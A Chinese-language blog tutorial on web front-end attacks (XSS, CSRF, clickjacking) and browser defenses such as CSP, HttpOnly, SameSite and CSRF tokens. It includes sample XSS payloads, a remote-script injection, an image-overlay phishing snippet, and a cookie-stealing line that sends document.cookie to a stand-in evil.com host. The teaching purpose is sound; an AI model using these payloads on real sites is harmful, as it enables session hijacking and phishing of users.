WEB前端信息安全-Web攻击

作者: 赵客缦胡缨v吴钩霜雪明 | 来源:发表于2023-03-12 09:09 被阅读0次

浏览器是互联网的重要入口，浏览器的作用也越来越被人们所重视。

安全研究的范围已经涵盖了所有用户使用互联网的方式，浏览器正是其中最为重要的一个部分。

现状

2022年度Google Chrome浏览器漏洞披露最多，共计 303 个，其累计漏洞总数达到 3159 个，例如CVE-2022-3318、CVE-2022-3314、CVE-2022-3311、CVE-2022-3309和CVE-2022-3307，这些漏洞均可导致内存损坏。Mozilla Firefox浏览器漏洞居第二，共出现 117 个漏洞；其次是Microsoft Edge，共有漏洞 103 个，相比 2021 年全年新增了61%。

Chrome 浏览器成为了漏洞挖掘者主要目标之一。

常见的web攻击

xss（跨站脚本攻击 Cross Site Script）

通常是指攻击者通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击

分类

攻击类型：反射型（非持久型）XSS、存储型（持久型）XSS、DOM型XSS、通用型XSS、突变型XSS。

1. 反射型XSS：

其实就是服务器没有对恶意的用户输入进行安全处理就直接反射响应内容，导致恶意代码在浏览器中执行的一种 XSS 漏洞

攻击者构造出特殊的 URL，其中包含恶意代码。
用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。
用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。

http://www.a.com/test?param=<script>alert(/xss/)</script>

2. 储存型XSS:

存储型 XSS 的攻击步骤：

攻击者将恶意代码提交到目标网站的数据库中。
用户打开目标网站时，网站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器。
用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。

通常出现在博客评论，用户评论，留言板，聊天室，HTML 电子邮件，wikis

<script src=//xsspt.com/ZsgUBf\></script>

3. DOM Based XSS

通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。

<html>
 <div id="t"></div>
 <input type="text" id="text" value="" /> 
 <input type="button" id="s" value="write" onclick="test()" />
 <script>
      function test() {
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML =
          "<a href='" + str + "' >testLink</a>";
      }
   </script>
</html>

//' onclick=alert(/xss/) //
<a href="" onclick="alert(/xss/)" '="">testLink</a>


//<a href=''><img src=# onerror=alert(/xss2/) / ><'' >testLink</a>
<a href="<a href=" '="">
<img src="#" onerror="alert(/xss2/)">
&lt;'' &gt;testLink</a>

事件

1. cookie劫持

// evil.js
http://www.a.com/test.htm?abc=">

var img = document.createElement("img"); 
img.src = "http://www.evil.com/ log?"+escape(document.cookie); 
document.body.appendChild(img);

服务器evil的日志上就会留下cookie的信息

2. XSS钓鱼

利用JavaScript在当前页面上“画出”一个伪造的登录框，当用户在登录框中输入用户名与密码后，其密码将被发送至攻击者的服务器上。

3. xss蠕虫

蠕虫病毒：蠕虫是一种可以自我复制的代码，并且通过网络传播，通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后，就会把这台机器作为宿主，进而扫描并感染其他计算机。

重要案例

在2005年，年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。SamyKamkar的蠕虫在短短几小时内就感染了100万用户——它在每个用户的自我简介后边加了一句话：“but most of all, Samy is my hero.”（Samy是我的偶像）。这是Web 安全史上第一个重量级的XSSWorm，具有里程碑意义。https://segmentfault.com/a/1190000039654901；分析https://blog.csdn.net/z646683869/article/details/115561856

2007年12月，百度空间的用户忽然互相之间开始转发垃圾短消息

2011年新浪微博曾被黑客 XSS 攻击，黑客诱导用户点击一个带有诱惑性的链接，便会自动发送一条带有同样诱惑性链接微博。攻击范围层层扩大，也是一种蠕虫攻击。https://www.cnblogs.com/52php/p/5659859.html

防御

1. CSP (Content Security Policy 内容安全策略)

内容安全策略是一种 可信白名单 作机制，来限制网站中是否可以包含某来源内容。该制度明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单，它的实现和执行全部由浏览器完成，开发者只需提供配置。

禁止加载外域代码，防止复杂的攻击逻辑。
禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。
禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。
禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。
合理使用上报可以及时发现 XSS，利于尽快修复问题。

你可以使用 HTTP 头部的Content-Security-Policy 属性来指定你的策略，像这样：

Content-Security-Policy: policy

policy 参数是一个包含了各种描述你的 CSP 策略指令的字符串。

2. HttpOnly

禁止页面的JavaScript访问带有HttpOnly属性的Cookie。

3. XSS Filter

一般是检查用户输入的数据中是否包含一些特殊字符，如<、>、’、”等。如果发现存在特殊字符，则将这些字符过滤或者编码

4. JavascriptEncode 对字符进行转码

var x = 1;alert(2); => var x = 1\\x3balert\\x282\\x29;

CSRF（跨站点请求伪造 Cross Site RequestForgery）

CSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出CSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度……

而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”。

CSRF 攻击就是攻击者引诱用户打开攻击者的网站，利用用户的登陆状态发起跨站请求。

浏览器的Cookie策略

临时性cookie（Session Cookie）

浏览器关闭后，Session Cookie就失效。

持久性cookie （Persistent Cookie）

指设置了过期时间，一段时间内持续保存的Cookie，在一定时间内重新打开浏览器也会存在。

第三方cookie（Third-party Cookie）

比如访问A网站，为网站 A 及其用户提供服务的组织 B，B设置了一个Cookie，相对于A和浏览器，B的Cookie就是第三方Cookie

不同浏览器的发送策略

IE出于安全考虑，默认禁止了浏览器在<script>、 <link>等标签中发送第三方Cookie。

Firefox的行为。在Firefox中，默认策略是允许发送第三方 Cookie 的

// http://www.b.com/csrf-test.html
<iframe src="http://www.a.com" ></iframe>
// IE: 只能发送出Session Cookie，而Third-party Cookie被禁止了
// firfox: 在Firefox中允许发送 Third-party Cookie

在当前的主流浏览器中，默认会拦截 Third-party Cookie 的有：IE 6、IE 7、IE 8、 Safari；不会拦截的有：Firefox 2、Firefox 3、Opera、GoogleChrome、Android等。

sameSite

SameSite 可以有下面三种值：

Strict

仅允许一方请求携带 Cookie，即浏览器将只发送相同站点请求的 Cookie，即当前网页 URL 与请求目标 URL 完全一致。

允许部分第三方请求携带 Cookie

None

无论是否跨站都会发送 Cookie 造成现在无法获取cookie是因为之前默认是 None 的，

以前 None 是默认值，但现在的浏览器版本将 Lax 作为默认值，以便对某些类型的跨站请求伪造（CSRF）攻击具有相当强的防御能力。Chrome80 后默认是 Lax。

浏览器全面禁用三方 Cookie https://segmentfault.com/a/1190000022386152

P3P Header是 W3C 制定的一项关于隐私的标准，全称The Platform for Privacy Preferences https://zh.wikipedia.org/wiki/隱私權偏好平台

事件

在2007年的Gmail CSRF漏洞攻击过程

用户需要登录Gmail账户，以便让浏览器获得Gmail的临时Cookie。
然后，攻击者诱使用户访问一个恶意页面
在这个恶意页面中，隐藏了一个iframe，iframe的地址指向php写的CSRF构造页面（页面主要是生成一个表单，并自动提交）
该攻击页面会在gmail邮箱会创建一条新的规则，将所有带附件的邮件转发到攻击者邮箱中
由于cookie存在，所以用户在 iframe中对Gmail发起的这次请求会成功

csrf蠕虫

2008年9月，国内的安全组织80sec公布了一个百度的CSRF Worm。

漏洞出现在百度用户中心的发送短消息功能中。只需要修改参数sn，即可对指定的用户发送短消息。
百度的另外一个接口则能查询出某个用户的所有好友
将两者结合起来，可以组成一个CSRF Worm——让一个百度用户查看恶意页面后，将给他的所有好友发送一条短消息
然后这条短消息中又包含一张图片，其地址再次指向CSRF页面，使得这些好友再次将消息发给他们的好友，这个Worm因此得以传播。

防御

1.验证码

CSRF攻击的过程，往往是在用户不知情的情况下构造了网络请求。而验证码，则强制用户必须与应用进行交互，才能完成最终请求。因此在通常情况下，验证码能够很好地遏制CSRF攻击

2. Referer Check

Referer Check在互联网中最常见的应用就是“防止图片盗链”。

同理，Referer Check也可以被用于检查请求是否来自合法的“源”。

比如一个“论坛发帖”的操作，在正常情况下需要先登录到用户后台，或者访问有发帖功能的页面。在提交“发帖”的表单时，Referer的值必然是发帖表单所在的页面。如果 Referer 的值不是这个页面，甚至不是发帖网站的域，则极有可能是CSRF攻击。

在某些情况下，浏览器也不会发送Referer，比如从HTTPS跳转到HTTP，出于安全的考虑，浏览器也不会发送Referer。无法依赖于Referer Check作为防御CSRF的主要手段。但是通过Referer Check来监控CSRF攻击的发生，倒是一种可行的方法。

3. CSRF Token

csrf本质：重要操作的所有参数都是可以被攻击者猜测到的；攻击者只有预测出URL的所有参数与参数值，才能成功地构造一个伪造的请求；反之，攻击者将无法攻击成功。

在请求参数中加入加密的token字段；
在提交请求时，服务器只需验证表单中的 Token，与用户Session（或Cookie）中的Token是否一致，如果一致，则认为是合法请求；如果不一致，或者有一个为空，则认为请求不合法，可能发生了CSRF攻击。

防御CSRF的Token，是根据“不可预测性原则”设计的方案，所以Token的生成一定要足够随机，需要使用安全的随机数生成器生成Token。

CSRF的Token仅仅用于对抗CSRF攻击，当网站还同时存在XSS漏洞时，这个方案就会变得无效，因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下，攻击者完全可以请求页面后，读出页面内容里的Token值，然后再构造出一个合法的请求。这个过程可以称之为XSRF，和CSRF以示区分。

Axios 中有两个配置字段xsrfCookieName、xsrfHeaderName

点击劫持（ClickJacking）

点击劫持，也被称为UI-覆盖攻击，主要是在用户不知情的情况下，做一些操作。

事件

1. Flash点击劫持

攻击者制作了一个Flash游戏，并诱使用户来玩这个游戏
这个游戏就是让用户去点击“CLICK”按钮，每次点击后这个按钮的位置都会发生变化
在游戏上隐藏了一个看不见的iframe
游戏中的某些点击是有意义的，某些点击是无效的。攻击通过诱导用户鼠标点击的位置，能够完成一些较为复杂的流程
最终通过这一步步的操作，打开了用户的摄像头。

百度 XSIO

发blog是在一个table里，所以我们要先把table闭合掉，然后再插入合适的图片

</table>
<a href=”http://www.ph4nt0m.org”>
<img src=”http://img.baidu.com/hi/img/portraitn.jpg” 
style=”position:absolute;left:123px;top:123px;“>
</a>

一张头像被覆盖到logo处

点击就会跳转到钓鱼网站

防御

禁止iframe的嵌套 frame busting；

通过编写js防止iframe嵌套，比如 HTML5 中 iframe 的 sandbox 属性、IE中iframe的security属性等，都可以限制 iframe 页面中的 JavaScript 脚本执行，从而可以使得 frame busting失效

X-Frame-Options

X-Frame-Options可以说是为了解决Click-Jacking而生的。

这个响应头是用来给浏览器指示，允许一个页面可否在 <frame>、<embed>或者 <object> 中展现的标记。

站点可以通过确保网站没有被嵌入到别人的站点里面，从而避免点击劫持攻击。

PS：仅当访问文档的用户使用支持 X-Frame-Options 的浏览器时，此附加的安全性才会被提供。

可选值有：DENY（禁止iframe，浏览器拒绝当前页面加载任何iframe页面）、SAMEORIGIN（只允许相同域名下的网页iframe，同源政策保护）和 ALLOW-FROM（白名单限制）。

CSP (Content Security Policy 内容安全策略) 也可以有效防御Click-Jack

浏览器安全

我们再来介绍下浏览器是怎么保护用户访问安全的。

同源策略（Same Origin Policy）

同源策略是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略的基础之上的，浏览器只是针对同源策略的一种实现。

浏览器沙箱

渲染引擎由Sandbox隔离，网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPCchannel，在其中会进行一些安全检查。

采用Sandbox技术，无疑可以让不受信任的网页代码、JavaScript代码运行在一个受到限制的环境中，从而保护本地桌面系统的安全。

恶意网址拦截

上节提到了“挂马”攻击方式能够破坏浏览器安全，在很多时候，“挂马”攻击在实施时会在一个正常的网页中通过<script>或者<iframe>等标签加载一个恶意网址。

而除了挂马所加载的恶意网址之外，钓鱼网站、诈骗网站对于用户来说也是一种恶意网址。为了保护用户安全，浏览器厂商纷纷推出了各自的拦截恶意网址功能。

目前各个浏览器的拦截恶意网址的功能都是基于“黑名单”的。

挂马

在网页中插入一段恶意代码，利用浏览器漏洞执行任意代码的攻击方式，在黑客圈子里被形象地称为“挂马”。“挂马”是浏览器需要面对的一个主要威胁。

小结

XSS攻击，通常指黑客通过“HTML注入”篡改了网页，插入了恶意的脚本，从而在用户浏览网页时，控制用户浏览器的一种攻击
CSRF攻击是攻击者利用用户的身份操作用户账户的一种攻击方式
点击劫持（ClickJacking）是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe，覆盖在一个网页上，然后诱使用户在该网页上进行操作，此时用户将在不知情的情况下点击透明的iframe页面